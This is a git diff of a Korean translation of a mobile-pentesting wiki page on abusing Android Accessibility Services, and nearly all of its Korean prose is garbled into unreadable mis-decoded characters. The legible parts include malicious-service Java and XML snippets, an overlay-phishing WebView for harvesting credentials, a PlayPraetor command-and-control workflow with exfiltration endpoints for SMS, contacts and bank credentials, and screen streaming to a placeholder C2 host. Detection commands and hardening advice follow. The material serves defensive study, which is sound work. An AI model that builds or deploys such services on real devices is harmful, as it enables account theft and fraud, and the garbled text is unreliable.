๊ฒƒ์„ ํƒ์ง€ํ•˜์„ธ์š”; Accessibility ํ”„๋กฌํ”„ํŠธ๋ฅผ ์œ ๋ฐœํ•˜๋Š” โ€œ/accessโ€๋กœ ๋๋‚˜๋Š” ํŽ˜์ด์ง€๋ฅผ ์ฃผ์˜ํ•ฉ๋‹ˆ๋‹ค. +- ์„œ๋น„์Šค ์ ‘๊ทผ ๊ถŒํ•œ ๋ถ€์—ฌ ์งํ›„ ๊ณ ๋นˆ๋„ Accessibility ์ œ์Šค์ฒ˜/ํด๋ฆญ์„ ์ƒ์„ฑํ•˜๋Š” ์•ฑ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด๋ฅผ ์„ค์ •ํ•˜์„ธ์š”; Accessibility node dumps์™€ ์œ ์‚ฌํ•œ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ๊ฐ€ C2๋กœ ์ „์†ก๋˜๋Š” ๊ฒฝ์šฐ๋„ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค. +- ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์•ฑ์—์„œ์˜ Device Admin ์ •์ฑ… ๋ณ€๊ฒฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”: `lockNow`, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋งŒ๋ฃŒ, keyguard ๊ธฐ๋Šฅ ํ† ๊ธ€ ๋“ฑ. +- ๋น„๊ธฐ์—…(๋น„์‚ฌ๋‚ด) ์•ฑ์—์„œ์˜ MediaProjection ํ”„๋กฌํ”„ํŠธ ์ดํ›„ ์ฃผ๊ธฐ์  ํ”„๋ ˆ์ž„ ์—…๋กœ๋“œ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๊ฒฝ๋ณด๋ฅผ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. +- ๋‹ค๋ฅธ ์•ฑ์— ์˜ํ•ด ํŠธ๋ฆฌ๊ฑฐ๋œ ์™ธ๋ถ€ NFC-relay ์•ฑ์˜ ์„ค์น˜/์‹คํ–‰์„ ํƒ์ง€ํ•˜์„ธ์š”. +- ๋ฑ…ํ‚น์˜ ๊ฒฝ์šฐ: out-of-band ํ™•์ธ, biometrics-binding, ์˜จ-๋””๋ฐ”์ด์Šค ์ž๋™ํ™”์— ์ €ํ•ญํ•˜๋Š” ๊ฑฐ๋ž˜ ํ•œ๋„ ์ ์šฉ์„ ๊ฐ•์ œํ•˜์„ธ์š”. + +## References - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban โ€“ Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging โ€” Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate โ€“ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index 7e034e3a0..bef7cbd90 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -1,20 +1,20 @@ -# Android Accessibility Service Abuse +# Android ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค ์•…์šฉ {{#include ../../banners/hacktricks-training.md}} ## ๊ฐœ์š” -`AccessibilityService`๋Š” ์žฅ์• ์ธ์ด Android ์žฅ์น˜์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ๋•๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค. ๋ถˆํ–‰ํžˆ๋„, ๋™์ผํ•œ **๊ฐ•๋ ฅํ•œ ์ž๋™ํ™” API**(์ „์—ญ ํƒ์ƒ‰, ํ…์ŠคํŠธ ์ž…๋ ฅ, ์ œ์Šค์ฒ˜ ์ „์†ก, ์˜ค๋ฒ„๋ ˆ์ด ์ฐฝ ๋“ฑโ€ฆ)๋Š” ์•…์„ฑ ์†Œํ”„ํŠธ์›จ์–ด์— ์˜ํ•ด ๋ฌด๊ธฐํ™”๋˜์–ด **๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด** ํ•ธ๋“œ์…‹์˜ **์™„์ „ ์›๊ฒฉ ์ œ์–ด**๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`AccessibilityService`๋Š” ์žฅ์• ๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ Android ์žฅ์น˜์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ๋•๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ๋‹ค. ๋ถˆํ–‰ํžˆ๋„, ๋™์ผํ•œ **๊ฐ•๋ ฅํ•œ ์ž๋™ํ™” APIs** (global navigation, text input, gesture dispatch, overlay windowsโ€ฆ)์€ ์•…์„ฑ์ฝ”๋“œ์— ์˜ํ•ด ์•…์šฉ๋˜์–ด ํœด๋Œ€ํฐ์„ _๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด_ **์™„์ „ ์›๊ฒฉ ์ œ์–ด**ํ•  ์ˆ˜ ์žˆ๋‹ค. -ํ˜„๋Œ€ Android ์€ํ–‰ ํŠธ๋กœ์ด์•ˆ ๋ฐ ์›๊ฒฉ ์•ก์„ธ์Šค ํŠธ๋กœ์ด์•ˆ(RAT)์ธ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** ๋“ฑ์€ ๋™์ผํ•œ ๋ ˆ์‹œํ”ผ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค: +์ตœ๊ทผ์˜ Android ๋ฑ…ํ‚น ํŠธ๋กœ์ด๋ชฉ๋งˆ ๋ฐ ์›๊ฒฉ์ ‘๊ทผ ํŠธ๋กœ์ด๋ชฉ๋งˆ(RAT)๋“ค์ธ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** ๋“ฑ์€ ๊ฐ™์€ ๋ฐฉ์‹์„ ๋”ฐ๋ฅธ๋‹ค: -1. ํ”ผํ•ด์ž๋ฅผ ์‚ฌํšŒ ๊ณตํ•™์ ์œผ๋กœ ์†์—ฌ ์•…์„ฑ ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค (*BIND_ACCESSIBILITY_SERVICE* ๊ถŒํ•œ์€ "๊ณ ์œ„ํ—˜"์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ๋ช…์‹œ์ ์ธ ์‚ฌ์šฉ์ž ์ž‘์—…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค). -2. ์„œ๋น„์Šค๋ฅผ ํ™œ์šฉํ•˜์—ฌ -* ํ™”๋ฉด์— ๋‚˜ํƒ€๋‚˜๋Š” ๋ชจ๋“  UI ์ด๋ฒคํŠธ ๋ฐ ํ…์ŠคํŠธ๋ฅผ ์บก์ฒ˜ํ•˜๊ณ , -* ํ•ฉ์„ฑ ์ œ์Šค์ฒ˜(`dispatchGesture`) ๋ฐ ์ „์—ญ ์ž‘์—…(`performGlobalAction`)์„ ์ฃผ์ž…ํ•˜์—ฌ ์šด์˜์ž๊ฐ€ ์›ํ•˜๋Š” ์ž‘์—…์„ ์ž๋™ํ™”ํ•˜๊ณ , -* **TYPE_ACCESSIBILITY_OVERLAY** ์ฐฝ ์œ ํ˜•์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•ฉ๋ฒ•์ ์ธ ์•ฑ ์œ„์— ์ „์ฒด ํ™”๋ฉด ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๊ทธ๋ฆฌ๋ฉฐ( `SYSTEM_ALERT_WINDOW` ํ”„๋กฌํ”„ํŠธ ์—†์Œ!), -* ํ”ผํ•ด์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ์‹œ์Šคํ…œ ๋Œ€ํ™” ์ƒ์ž๋ฅผ ํด๋ฆญํ•˜์—ฌ ์ถ”๊ฐ€ ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ์„ ์กฐ์šฉํžˆ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. -3. ์‚ฌ์šฉ์ž๊ฐ€ ์™„์ „ํžˆ ์ •์ƒ์ ์ธ ํ™”๋ฉด์„ ๋ณด๊ณ  ์žˆ๋Š” ๋™์•ˆ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ **On-Device-Fraud (ODF)**๋ฅผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. +1. ํ”ผํ•ด์ž๊ฐ€ ์•…์„ฑ ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์‚ฌํšŒ๊ณตํ•™ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•œ๋‹ค (*BIND_ACCESSIBILITY_SERVICE* ๊ถŒํ•œ์€ "๊ณ ์œ„ํ—˜"์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ๋ช…์‹œ์ ์ธ ์‚ฌ์šฉ์ž ๋™์ž‘์ด ํ•„์š”ํ•˜๋‹ค). +2. ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•˜์—ฌ +* ํ™”๋ฉด์— ํ‘œ์‹œ๋˜๋Š” ๋ชจ๋“  UI ์ด๋ฒคํŠธ ๋ฐ ํ…์ŠคํŠธ๋ฅผ ์บก์ฒ˜ํ•œ๋‹ค, +* ์šด์˜์ž๊ฐ€ ์›ํ•˜๋Š” ์ž‘์—…์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ํ•ฉ์„ฑ ์ œ์Šค์ฒ˜(`dispatchGesture`)์™€ ๊ธ€๋กœ๋ฒŒ ์•ก์…˜(`performGlobalAction`)์„ ์ฃผ์ž…ํ•œ๋‹ค, +* **TYPE_ACCESSIBILITY_OVERLAY** ์œˆ๋„์šฐ ํƒ€์ž…์„ ์‚ฌ์šฉํ•˜์—ฌ ์ •์ƒ ์•ฑ ์œ„์— ์ „์ฒดํ™”๋ฉด ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๊ทธ๋ฆฐ๋‹ค ( `SYSTEM_ALERT_WINDOW` ํ”„๋กฌํ”„ํŠธ ์—†์Œ! ), +* ํ”ผํ•ด์ž๋ฅผ ๋Œ€์‹ ํ•ด ์‹œ์Šคํ…œ ๋‹ค์ด์–ผ๋กœ๊ทธ๋ฅผ ํด๋ฆญํ•˜์—ฌ ์ถ”๊ฐ€ ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ์„ ์€๋ฐ€ํ•˜๊ฒŒ ํ—ˆ์šฉํ•œ๋‹ค. +3. ์‚ฌ์šฉ์ž๊ฐ€ ์ „ํ˜€ ์ด์ƒํ•˜์ง€ ์•Š์€ ํ™”๋ฉด์„ ๋ณด๊ณ  ์žˆ๋Š” ๋™์•ˆ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ **On-Device-Fraud (ODF)**๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค. --- @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> ``` -๋™๋ฐ˜ XML์€ ๊ฐ€์งœ ๋Œ€ํ™” ์ƒ์ž๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ณด์ผ์ง€๋ฅผ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค: +๋™๋ด‰๋œ XML์€ ๊ฐ€์งœ ๋Œ€ํ™”์ƒ์ž๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ณด์ผ์ง€ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค: ```xml <?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -45,9 +45,7 @@ android:notificationTimeout="200" android:canPerformGestures="true" android:canRetrieveWindowContent="true"/> ``` ---- - -## ์›๊ฒฉ UI ์ž๋™ํ™” ์›์‹œ ์š”์†Œ +## ์›๊ฒฉ UI ์ž๋™ํ™”์˜ ๊ธฐ๋ณธ ์š”์†Œ ```java public class EvilService extends AccessibilityService { @Override @@ -68,17 +66,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } } ``` -์ด ๋‘ ๊ฐœ์˜ API๋งŒ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -* ํ™”๋ฉด ์ž ๊ธˆ์„ ํ•ด์ œํ•˜๊ณ , ์€ํ–‰ ์•ฑ์„ ์—ด๊ณ , UI ํŠธ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•˜๋ฉฐ, ์ด์ฒด ์–‘์‹์„ ์ œ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* ๋‚˜ํƒ€๋‚˜๋Š” ๋ชจ๋“  ๊ถŒํ•œ ๋Œ€ํ™” ์ƒ์ž๋ฅผ ์ˆ˜๋ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* Play Store ์ธํ…ํŠธ๋ฅผ ํ†ตํ•ด ์ถ”๊ฐ€ APK๋ฅผ ์„ค์น˜/์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ๋‘ ๊ฐœ์˜ API๋งŒ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค: +* ํ™”๋ฉด์˜ ์ž ๊ธˆ์„ ํ•ด์ œํ•˜๊ณ , ์€ํ–‰ ์•ฑ์„ ์—ด์–ด UI ํŠธ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•œ ๋’ค ์ด์ฒด ํผ์„ ์ œ์ถœํ•œ๋‹ค. +* ํ‘œ์‹œ๋˜๋Š” ๋ชจ๋“  ๊ถŒํ•œ ๋Œ€ํ™”์ƒ์ž๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค. +* Play Store intent๋ฅผ ํ†ตํ•ด ์ถ”๊ฐ€ APK๋ฅผ ์„ค์น˜/์—…๋ฐ์ดํŠธํ•œ๋‹ค. --- -## ๋‚จ์šฉ ํŒจํ„ด +## ์•…์šฉ ํŒจํ„ด -### 1. ์˜ค๋ฒ„๋ ˆ์ด ํ”ผ์‹ฑ (์ž๊ฒฉ ์ฆ๋ช… ์ˆ˜์ง‘) -ํˆฌ๋ช…ํ•˜๊ฑฐ๋‚˜ ๋ถˆํˆฌ๋ช…ํ•œ `WebView`๊ฐ€ ์œˆ๋„์šฐ ๊ด€๋ฆฌ์ž์— ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค: +### 1. Overlay Phishing (Credential Harvesting) +ํˆฌ๋ช…ํ•˜๊ฑฐ๋‚˜ ๋ถˆํˆฌ๋ช…ํ•œ `WebView`๊ฐ€ ์œˆ๋„์šฐ ๋งค๋‹ˆ์ €์— ์ถ”๊ฐ€๋œ๋‹ค: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, @@ -87,59 +85,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -ํ”ผํ•ด์ž๋Š” ๊ฐ€์งœ ์–‘์‹์— ์ž๊ฒฉ ์ฆ๋ช…์„ ์ž…๋ ฅํ•˜๋Š” ๋™์•ˆ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์•ฑ์€ ๋™์ผํ•œ ์ œ์Šค์ฒ˜๋ฅผ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค. - ์˜์‹ฌ์Šค๋Ÿฌ์šด "๋‹ค๋ฅธ ์•ฑ ์œ„์— ๊ทธ๋ฆฌ๊ธฐ" ํ”„๋กฌํ”„ํŠธ๋Š” ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +ํ”ผํ•ด์ž๋Š” ๊ฐ€์งœ ํผ์— ์ž๊ฒฉ ์ฆ๋ช…์„ ์ž…๋ ฅํ•˜๋Š” ๋™์•ˆ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์•ฑ์€ ๋™์ผํ•œ ์ œ์Šค์ฒ˜๋ฅผ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค โ€“ "draw over other apps"์™€ ๊ฐ™์€ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ”„๋กฌํ”„ํŠธ๋Š” ์ „ํ˜€ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -> ์ž์„ธํ•œ ์˜ˆ: Tapjacking ํŽ˜์ด์ง€ ๋‚ด์˜ *Accessibility Overlay Phishing* ์„น์…˜. +> ์ƒ์„ธ ์˜ˆ์‹œ: Tapjacking ํŽ˜์ด์ง€ ๋‚ด *Accessibility Overlay Phishing* ์„น์…˜. -### 2. ๊ธฐ๊ธฐ ๋‚ด ์‚ฌ๊ธฐ ์ž๋™ํ™” -**PlayPraetor**์™€ ๊ฐ™์€ ์•…์„ฑ์ฝ”๋“œ ํŒจ๋ฐ€๋ฆฌ๋Š” ์šด์˜์ž๊ฐ€ ๊ณ ์ˆ˜์ค€ ๋ช…๋ น(`init`, `update`, `alert_arr`, `report_list`, โ€ฆ)์„ ๋ฐœํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ง€์†์ ์ธ WebSocket ์ฑ„๋„์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค๋Š” ์ด๋Ÿฌํ•œ ๋ช…๋ น์„ ์œ„์˜ ์ €์ˆ˜์ค€ ์ œ์Šค์ฒ˜๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ, ํ•ด๋‹น ๊ธฐ๊ธฐ์— ์—ฐ๊ฒฐ๋œ ๋‹ค๋‹จ๊ณ„ ์ธ์ฆ์„ ์‰ฝ๊ฒŒ ์šฐํšŒํ•˜๋Š” ์‹ค์‹œ๊ฐ„ ๋ฌด๋‹จ ๊ฑฐ๋ž˜๋ฅผ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. +### 2. On-Device Fraud automation +**PlayPraetor**์™€ ๊ฐ™์€ ์•…์„ฑ์ฝ”๋“œ ๊ณ„์—ด์€ ์šด์˜์ž๊ฐ€ ๊ณ ์ˆ˜์ค€ ๋ช…๋ น(`init`, `update`, `alert_arr`, `report_list`, โ€ฆ)์„ ๋ฐœํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ง€์†์ ์ธ WebSocket ์ฑ„๋„์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค๋Š” ์ด๋Ÿฌํ•œ ๋ช…๋ น์„ ์œ„์˜ ์ €์ˆ˜์ค€ ์ œ์Šค์ฒ˜๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ, ํ•ด๋‹น ๊ธฐ๊ธฐ์— ์—ฐ๋™๋œ ๋‹ค์ค‘ ์ธ์ฆ์„ ์‰ฝ๊ฒŒ ์šฐํšŒํ•˜๋Š” ์‹ค์‹œ๊ฐ„ ๋ฌด๋‹จ ๊ฑฐ๋ž˜๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. -### 3. ํ™”๋ฉด ์ŠคํŠธ๋ฆฌ๋ฐ ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง -**MediaProjection API**์™€ RTMP ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ RAT๋Š” ๋ผ์ด๋ธŒ ํ”„๋ ˆ์ž„ ๋ฒ„ํผ๋ฅผ `rtmp://<c2>:1935/live/<device_id>`๋กœ ๋ฐฉ์†กํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ ‘๊ทผ์„ฑ ์—”์ง„์ด UI๋ฅผ ๊ตฌ๋™ํ•˜๋Š” ๋™์•ˆ ์ ์—๊ฒŒ ์™„๋ฒฝํ•œ ์ƒํ™ฉ ์ธ์‹์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +### 3. Screen streaming & monitoring +**MediaProjection API**๋ฅผ RTMP ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๊ฒฐํ•ฉํ•˜๋ฉด, RAT๋Š” ๋ผ์ด๋ธŒ ํ”„๋ ˆ์ž„๋ฒ„ํผ๋ฅผ `rtmp://<c2>:1935/live/<device_id>`๋กœ ๋ฐฉ์†กํ•  ์ˆ˜ ์žˆ์–ด Accessibility ์—”์ง„์ด UI๋ฅผ ์ œ์–ดํ•˜๋Š” ๋™์•ˆ ๊ณต๊ฒฉ์ž์—๊ฒŒ ์™„์ „ํ•œ ์ƒํ™ฉ ์ธ์‹์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. --- -## PlayPraetor โ€“ ๋ช…๋ น ๋ฐ ์ œ์–ด ์›Œํฌํ”Œ๋กœ์šฐ +## PlayPraetor โ€“ command & control workflow -1. **HTTP(S) ํ•˜ํŠธ๋น„ํŠธ** โ€“ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋ชฉ๋ก์„ ๋ฐ˜๋ณตํ•˜์—ฌ ํ•˜๋‚˜์˜ ๋„๋ฉ”์ธ์ด ํ™œ์„ฑ C2์™€ ํ•จ๊ป˜ `POST /app/searchPackageName`์— ์‘๋‹ตํ•  ๋•Œ๊นŒ์ง€. -2. **WebSocket (ํฌํŠธ 8282)** โ€“ ์–‘๋ฐฉํ–ฅ JSON ๋ช…๋ น: -* `update` โ€“ ์ƒˆ๋กœ์šด conf/APK ํ‘ธ์‹œ +1. **HTTP(S) heartbeat** โ€“ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋ชฉ๋ก์„ ์ˆœํšŒํ•˜์—ฌ ํ•˜๋‚˜์˜ ๋„๋ฉ”์ธ์ด ํ™œ์„ฑ C2๋กœ `POST /app/searchPackageName`์— ์‘๋‹ตํ•  ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค. +2. **WebSocket (port 8282)** โ€“ ์–‘๋ฐฉํ–ฅ JSON ๋ช…๋ น: +* `update` โ€“ ์ƒˆ๋กœ์šด conf/APKs ํ‘ธ์‹œ * `alert_arr` โ€“ ์˜ค๋ฒ„๋ ˆ์ด ํ…œํ”Œ๋ฆฟ ๊ตฌ์„ฑ -* `report_list` โ€“ ํƒ€๊ฒŸ ํŒจํ‚ค์ง€ ์ด๋ฆ„ ๋ชฉ๋ก ์ „์†ก -* `heartbeat_web` โ€“ ์œ ์ง€ -3. **RTMP (ํฌํŠธ 1935)** โ€“ ๋ผ์ด๋ธŒ ํ™”๋ฉด/๋น„๋””์˜ค ์ŠคํŠธ๋ฆฌ๋ฐ. -4. **REST ์œ ์ถœ** โ€“ -* `/app/saveDevice` (์ง€๋ฌธ) +* `report_list` โ€“ ๋Œ€์ƒ ํŒจํ‚ค์ง€ ์ด๋ฆ„ ๋ชฉ๋ก ์ „์†ก +* `heartbeat_web` โ€“ keep-alive +3. **RTMP (port 1935)** โ€“ ๋ผ์ด๋ธŒ ํ™”๋ฉด/๋น„๋””์˜ค ์ŠคํŠธ๋ฆฌ๋ฐ. +4. **REST exfiltration** โ€“ +* `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` -* `/app/saveCardPwd` (์€ํ–‰ ์ž๊ฒฉ ์ฆ๋ช…) +* `/app/saveCardPwd` (bank creds) -**AccessibilityService**๋Š” ์ด๋Ÿฌํ•œ ํด๋ผ์šฐ๋“œ ๋ช…๋ น์„ ๋ฌผ๋ฆฌ์  ์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋กœ์ปฌ ์—”์ง„์ž…๋‹ˆ๋‹ค. +๋กœ์ปฌ ์—”์ง„์ธ **AccessibilityService**๊ฐ€ ์ด๋Ÿฌํ•œ ํด๋ผ์šฐ๋“œ ๋ช…๋ น์„ ๋ฌผ๋ฆฌ์  ์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค. --- -## ์•…์„ฑ ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค ํƒ์ง€ +## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` -* ์„ค์ • โ†’ ์ ‘๊ทผ์„ฑ โ†’ *๋‹ค์šด๋กœ๋“œ๋œ ์„œ๋น„์Šค* โ€“ Google Play์—์„œ **์•„๋‹Œ** ์•ฑ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. -* MDM / EMM ์†”๋ฃจ์…˜์€ `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+)๋ฅผ ์ ์šฉํ•˜์—ฌ ์‚ฌ์ด๋“œ๋กœ๋“œ๋œ ์„œ๋น„์Šค๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* ์‹คํ–‰ ์ค‘์ธ ์„œ๋น„์Šค ๋ถ„์„: +* Settings โ†’ Accessibility โ†’ *Downloaded services* โ€“ Google Play์—์„œ ๋ฐฐํฌ๋˜์ง€ ์•Š์€ ์•ฑ์„ ํ™•์ธํ•˜์„ธ์š”. +* MDM / EMM ์†”๋ฃจ์…˜์€ ์‚ฌ์ด๋“œ๋กœ๋”ฉ๋œ ์„œ๋น„์Šค๋ฅผ ์ฐจ๋‹จํ•˜๊ธฐ ์œ„ํ•ด `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY`(Android 13+)๋ฅผ ์ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +* ์‹คํ–‰ ์ค‘์ธ ์„œ๋น„์Šค๋ฅผ ๋ถ„์„: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- -## ์•ฑ ๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•œ ๊ฐ•ํ™” ๊ถŒ์žฅ ์‚ฌํ•ญ +## Hardening recommendations for app developers -* ๋ฏผ๊ฐํ•œ ๋ทฐ์— `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+)๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. -* `setFilterTouchesWhenObscured(true)`์™€ `FLAG_SECURE`๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ ํƒญ/์˜ค๋ฒ„๋ ˆ์ด ํ•˜์ด์žฌํ‚น์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. -* `WindowManager.getDefaultDisplay().getFlags()` ๋˜๋Š” `ViewRootImpl` API๋ฅผ ํด๋งํ•˜์—ฌ ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค. -* `Settings.canDrawOverlays()` **๋˜๋Š”** ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์ž‘๋™์„ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค. +* ๋ฏผ๊ฐํ•œ ๋ทฐ์— `android:accessibilityDataSensitive="accessibilityDataPrivateYes"`(API 34+)๋ฅผ ํ‘œ์‹œํ•˜์„ธ์š”. +* `setFilterTouchesWhenObscured(true)`๋ฅผ `FLAG_SECURE`์™€ ๊ฒฐํ•ฉํ•˜์—ฌ tap/overlay hijacking์„ ๋ฐฉ์ง€ํ•˜์„ธ์š”. +* `WindowManager.getDefaultDisplay().getFlags()` ๋˜๋Š” `ViewRootImpl` API๋ฅผ ํด๋งํ•˜์—ฌ ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ํƒ์ง€ํ•˜์„ธ์š”. +* `Settings.canDrawOverlays()` **๋˜๋Š”** ์‹ ๋ขฐ๋˜์ง€ ์•Š๋Š” Accessibility ์„œ๋น„์Šค๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ๋™์ž‘์„ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”. --- -## ์ฐธ๊ณ  ๋ฌธํ—Œ -* [PlayPraetor์˜ ์ง„ํ™”ํ•˜๋Š” 